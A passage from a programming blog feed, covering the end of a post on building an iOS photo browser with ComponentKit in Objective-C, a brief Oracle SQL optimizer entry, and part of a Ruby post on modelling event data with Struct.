                &lt;span class="nl"&gt;newWithPhoto:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAPhoto&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;
                &lt;span class="nl"&gt;imageDownloader:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAImageDownloader&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;
                &lt;span class="nl"&gt;action:&lt;/span&gt; &lt;span class="nf"&gt;action&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The tricky part is sending the invocation back to the view controller. This whole component creation lives in a class method so has no reference to the view controller. One way to fix this is by passing the view controller as context.&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;@interface&lt;/span&gt; &lt;span class="nc"&gt;PHRootComponentProvider&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;NSObject&lt;/span&gt;
&lt;span class="k"&gt;@end&lt;/span&gt;

&lt;span class="k"&gt;@implementation&lt;/span&gt; &lt;span class="nc"&gt;PHRootComponentProvider&lt;/span&gt;

&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;componentForModel&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NSObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;model&lt;/span&gt; &lt;span class="nf"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NSObject&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="nf"&gt;isKindOfClass&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;NSNull&lt;/span&gt; &lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHRootComponentProvider&lt;/span&gt; &lt;span class="nf"&gt;loadingComponent&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="nf"&gt;isKindOfClass&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;PAPhoto&lt;/span&gt; &lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHRootComponentProvider&lt;/span&gt;
                &lt;span class="nl"&gt;componentForPhoto:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PAPhoto&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;
                &lt;span class="nl"&gt;sender:&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PHViewController&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;context&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;NSAssert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;@"Should not happen"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;loadingComponent&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHLoadingComponent&lt;/span&gt; &lt;span class="nf"&gt;newWithTintColor&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;UIColor&lt;/span&gt; &lt;span class="nf"&gt;redColor&lt;/span&gt;&lt;span class="p"&gt;]];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;componentForPhoto&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;PAPhoto&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;photo&lt;/span&gt; &lt;span class="nf"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;:(&lt;/span&gt;&lt;span class="n"&gt;PHViewController&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;CKAction&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CKAction&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;actionFromBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CKComponent&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UIGestureRecognizer&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;__strong&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="nf"&gt;onTap&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;photo&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHPhotoComponent&lt;/span&gt;
            &lt;span class="nl"&gt;newWithPhoto:&lt;/span&gt;&lt;span class="n"&gt;photo&lt;/span&gt;
            &lt;span class="nl"&gt;imageDownloader:&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;imageDownloader&lt;/span&gt;
            &lt;span class="nl"&gt;action:&lt;/span&gt; &lt;span class="nf"&gt;action&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;@end&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then in the view controller&lt;/p&gt;

&lt;div class="language-objc highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="n"&gt;_dataSource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;CKCollectionViewDataSource&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                   &lt;span class="nl"&gt;initWithCollectionView:&lt;/span&gt;&lt;span class="n"&gt;_collectionView&lt;/span&gt;
                   &lt;span class="nl"&gt;supplementaryViewDataSource:&lt;/span&gt;&lt;span class="nb"&gt;nil&lt;/span&gt;
                   &lt;span class="nl"&gt;configuration:&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;CKDataSourceConfiguration&lt;/span&gt; &lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                  &lt;span class="nl"&gt;initWithComponentProvider:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PHRootComponentProvider&lt;/span&gt; &lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                  &lt;span class="nl"&gt;context:&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;
                                  &lt;span class="nl"&gt;sizeRange:&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="n"&gt;CKComponentFlexibleSizeRangeProvider&lt;/span&gt;
                                              &lt;span class="nl"&gt;providerWithFlexibility:&lt;/span&gt;&lt;span class="nf"&gt;CKComponentSizeRangeFlexibleHeight&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                                             &lt;span class="nl"&gt;sizeRangeForBoundingSize:&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bounds&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;&lt;span class="p"&gt;]]];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m not sure if this is how the design is intended to be.&lt;/p&gt;

&lt;h3 id="filling-up-the-rest"&gt;Filling up the rest&lt;/h3&gt;

&lt;p&gt;The rest should not be hard to do. We need another view that shows the details of the photo. We can either build it using the ComponentKit, or could simply have static UIViewController. I like the fact that if we build the detail UI with ComponentKit we would not have to worry about making the UI scrollable in future if it turns out that the UI does not fit one of those small screens. Also, the fact that we can reuse the components.&lt;/p&gt;

&lt;p&gt;Although I’m still not sure whether the better design is to have only a single &lt;code class="language-plaintext highlighter-rouge"&gt;UIViewController&lt;/code&gt; and only update the data source or have multiple view controllers. If I were to make a bet, I think &lt;code class="language-plaintext highlighter-rouge"&gt;UIViewController&lt;/code&gt; would be a better choice, as then the view caching could take some benefits or maybe not. Another question is, even if I were to pull the entire thing off with a single view controller, would it make sense to twist my arm around to get the default navigation push/pop animation by writing a fake animator class that reloads the &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionView&lt;/code&gt; as if it were a push/pop animation.&lt;/p&gt;

&lt;h3 id="conclusion"&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;So what do I think of ComponentKit. I think its a great proof of concept that one could easily write the one directional UI, but I would not force to write the entire app with ComponentKit, but maybe only the critical screens.&lt;/p&gt;

&lt;p&gt;I would definetely like to poke around to see how easy it is to build static screens with ComponentKit, like the ones where I know I don’t need a &lt;code class="language-plaintext highlighter-rouge"&gt;UICollectionView&lt;/code&gt; and maybe also do some animation.&lt;/p&gt;

&lt;p&gt;The entire code is available at &lt;a href="https://github.com/chunkyguy/PhotoApp"&gt;github.com/chunkyguy/PhotoApp&lt;/a&gt; sitting along the pure swift and pure Objc implementations.&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Fri, 09 Nov 2018 20:18:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/ios/2018/11/09/hello-component-kit/</guid></item><item><title>Scripts for Drilling Down Into Unknown Optimizer Changes</title><link>https://tanelpoder.com/posts/scripts-for-drilling-down-into-unknown-optimizer-changes/</link><description>&lt;p&gt;When I delivered my Advanced &lt;a href="https://tanelpoder.com/seminar/"&gt;Oracle SQL Tuning training&lt;/a&gt; last week, I jumped into a free-form demo to show that the &lt;a href="https://tanelpoder.com/2013/03/20/alter-session-force-parallel-query-doesnt-really-force-anything/"&gt;PARALLEL hints don&amp;rsquo;t really force anything&lt;/a&gt; other than adjusting the &lt;em&gt;cost&lt;/em&gt; of parallelizable operations for CBO evaluation as usual. If a serial plan (or branch) still has a lower cost than the respective parallel processing cost, then serial execution would be used there. But when demoing this, I got a surprise.&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Fri, 09 Nov 2018 05:47:32 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/posts/scripts-for-drilling-down-into-unknown-optimizer-changes/</guid></item><item><title>Struct-uring your data</title><link>https://caiustheory.com/struct-uring-your-data/</link><description>&lt;p&gt;In Ruby it&amp;rsquo;s easy to structure data in hashes and pass it around, and usually that leads to errors with calling methods on &lt;code&gt;nil&lt;/code&gt;, or misspelling the name of a key, or some such silly bug that we might catch earlier given a defined object with a custom Class behind it. But it&amp;rsquo;s so much work to create a Class just to represent some grab bag of data we&amp;rsquo;ve been handed, right? Well, maybe!&lt;/p&gt;
&lt;p&gt;Lets say we have some event data that we&amp;rsquo;re being sent and we want to do some stuff with it in memory, we could just represent this as an array of hashes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;events&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Writing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ss"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ss"&gt;started&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ss"&gt;finished&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Evening walk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ss"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ss"&gt;started&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="ss"&gt;finished&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is not a &lt;em&gt;bad&lt;/em&gt; way to represent the data, but if we want to start asking questions of it like &amp;ldquo;find all events currently happening&amp;rdquo; it becomes trickier. We could filter the collection to just those &amp;ldquo;in progress&amp;rdquo; events with the following&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:started&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:finished&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next time someone reads this though, they have to figure out what it means to have an event that&amp;rsquo;s started but not finished. Also what happens when someone in future misremembers &lt;code&gt;:finished&lt;/code&gt; as &lt;code&gt;:completed&lt;/code&gt; when running over the data in new code?&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; Wouldn&amp;rsquo;t it be better if we could do the following instead?&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;in_progress?&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An easy way to do this is to just create a Struct for the event, with the extra method defined internally. Whilst we&amp;rsquo;re in there, we could add a couple more methods to make us querying the state of boolean attributes nicer to read(eh?)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="no"&gt;Event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;:name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:duration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:started&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:finished&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;alias_method&lt;/span&gt; &lt;span class="ss"&gt;:started?&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:started&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;alias_method&lt;/span&gt; &lt;span class="ss"&gt;:finished?&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:finished&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;in_progress?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;started?&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;finished?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then to create the objects, we can either use the positional arguments to &lt;code&gt;.new&lt;/code&gt; (same order as the symbols given to &lt;code&gt;Struct.new&lt;/code&gt;), or tap the object and use the setters directly for each attribute.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;events&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="no"&gt;Event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Writing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="no"&gt;Event&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tap&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Evening Walk"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;started&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;finished&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# =&amp;gt; [#&amp;lt;struct Event&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# name="Writing",&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# duration=15,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# started=true,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# finished=false&amp;gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# #&amp;lt;struct Event&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# name="Evening Walk",&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# duration=60,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# started=true,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# finished=false&amp;gt;]&lt;/span&gt;
